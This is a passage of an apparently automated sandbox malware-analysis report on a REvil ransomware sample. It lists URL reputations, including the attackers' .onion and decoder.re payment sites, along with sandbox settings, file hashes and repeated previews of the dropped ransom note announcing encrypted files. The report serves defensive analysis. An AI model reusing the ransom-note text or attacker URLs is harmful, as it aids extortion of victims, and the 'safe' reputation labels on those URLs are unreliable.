        0.2.revil.exe.160000.0.unpack100%AviraTR/Crypt.XPACK.Gen5Download File

        Domains

        No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s0%URL Reputationsafe
        http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s0%URL Reputationsafe
        http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s0%URL Reputationsafe
        http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s0%URL Reputationsafe
        https://sectigo.com/CPS00%URL Reputationsafe
        https://sectigo.com/CPS00%URL Reputationsafe
        https://sectigo.com/CPS00%URL Reputationsafe
        https://sectigo.com/CPS00%URL Reputationsafe
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%URL Reputationsafe
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%URL Reputationsafe
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%URL Reputationsafe
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%URL Reputationsafe
        http://ocsp.sectigo.com00%URL Reputationsafe
        http://ocsp.sectigo.com00%URL Reputationsafe
        http://ocsp.sectigo.com00%URL Reputationsafe
        http://ocsp.sectigo.com00%URL Reputationsafe
        http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#0%URL Reputationsafe
        http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#0%URL Reputationsafe
        http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#0%URL Reputationsafe
        http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#0%URL Reputationsafe
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3C6DAF927BB6748F0%Avira URL Cloudsafe
        http://decoder.re/3%VirustotalBrowse
        http://decoder.re/0%Avira URL Cloudsafe
        http://decoder.re/3C6DAF927BB6748F0%Avira URL Cloudsafe

        Domains and IPs

        Contacted Domains

        No contacted domains info

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0srevil.exefalse
        • URL Reputation: safe
        • URL Reputation: safe
        • URL Reputation: safe
        • URL Reputation: safe
        unknown
        https://sectigo.com/CPS0revil.exefalse
        • URL Reputation: safe
        • URL Reputation: safe
        • URL Reputation: safe
        • URL Reputation: safe
        unknown
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/MsMpEng.exe, 00000001.00000003.650047553.000000000337C000.00000004.00000040.sdmptrue
        • URL Reputation: safe
        • URL Reputation: safe
        • URL Reputation: safe
        • URL Reputation: safe
        unknown
        http://ocsp.sectigo.com0revil.exefalse
        • URL Reputation: safe
        • URL Reputation: safe
        • URL Reputation: safe
        • URL Reputation: safe
        unknown
        http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#revil.exefalse
        • URL Reputation: safe
        • URL Reputation: safe
        • URL Reputation: safe
        • URL Reputation: safe
        unknown
        http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3C6DAF927BB6748FMsMpEng.exe, 00000001.00000002.918179147.000000000337C000.00000004.00000040.sdmp, z4ra2w5g-readme.txt46.1.drtrue
        • Avira URL Cloud: safe
        unknown
        http://decoder.re/MsMpEng.exe, 00000001.00000003.650047553.000000000337C000.00000004.00000040.sdmpfalse
        • 3%, Virustotal, Browse
        • Avira URL Cloud: safe
        unknown
        http://www.openssl.org/support/faq.htmlrevil.exefalse
          high
          https://torproject.org/MsMpEng.exe, 00000001.00000003.650047553.000000000337C000.00000004.00000040.sdmp, z4ra2w5g-readme.txt46.1.drfalse
            high
            http://decoder.re/3C6DAF927BB6748FMsMpEng.exe, 00000001.00000002.918179147.000000000337C000.00000004.00000040.sdmp, z4ra2w5g-readme.txt46.1.drfalse
            • Avira URL Cloud: safe
            unknown

            Contacted IPs

            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs

            Public

            IPDomainCountryFlagASNASN NameMalicious

            Private

            IP
            192.168.2.1

            General Information

            Joe Sandbox Version:32.0.0 Black Diamond
            Analysis ID:443736
            Start date:03.07.2021
            Start time:07:47:18
            Joe Sandbox Product:CloudBasic
            Overall analysis duration:0h 7m 7s
            Hypervisor based Inspection enabled:false
            Report type:full
            Sample file name:revil.exe
            Cookbook file name:default.jbs
            Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
            Number of analysed new started processes analysed:20
            Number of new started drivers analysed:0
            Number of existing processes analysed:0
            Number of existing drivers analysed:0
            Number of injected processes analysed:0
            Technologies:
            • HCA enabled
            • EGA enabled
            • HDC enabled
            • AMSI enabled
            Analysis Mode:default
            Analysis stop reason:Timeout
            Detection:MAL
            Classification:mal100.rans.evad.winEXE@7/216@0/1
            EGA Information:Failed
            HDC Information:
            • Successful, ratio: 21.8% (good quality ratio 20.2%)
            • Quality average: 78.8%
            • Quality standard deviation: 29.7%
            HCA Information:
            • Successful, ratio: 84%
            • Number of executed functions: 77
            • Number of non-executed functions: 67
            Cookbook Comments:
            • Adjust boot time
            • Enable AMSI
            • Found application associated with file extension: .exe
            Warnings:
            Show All
            • Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, VSSVC.exe, svchost.exe, wuapihost.exe
            • Not all processes where analyzed, report is missing behavior information
            • Report size getting too big, too many NtOpenKeyEx calls found.
            • Report size getting too big, too many NtQueryValueKey calls found.

            Simulations

            Behavior and APIs

            No simulations

            Joe Sandbox View / Context

            IPs

            No context

            Domains

            No context

            ASN

            No context

            JA3 Fingerprints

            No context

            Dropped Files

            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
            C:\Windows\MsMpEng.exeBroker.exeGet hashmaliciousBrowse
              835f242d_by_Libranalysis.exeGet hashmaliciousBrowse
                seu.exeGet hashmaliciousBrowse
                  srnmp.exeGet hashmaliciousBrowse
                    BORANG MAKLUMBALAS - SESI WORKSHOP DIREKTORAT.docGet hashmaliciousBrowse
                      BRIEF WRITE ON EVENT IDE 18 JAN.docxGet hashmaliciousBrowse

                        Created / dropped Files

                        C:\Program Files (x86)\Microsoft SQL Server\110\Shared\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Reputation:low
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Program Files (x86)\Microsoft SQL Server\110\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Reputation:low
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Program Files (x86)\Microsoft SQL Server\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Reputation:low
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Program Files (x86)\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Reputation:low
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Program Files\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Reputation:low
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Recovery\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Reputation:low
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Default\Desktop\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Reputation:low
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Default\Documents\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Reputation:low
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Default\Downloads\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Reputation:low
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Default\Favorites\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
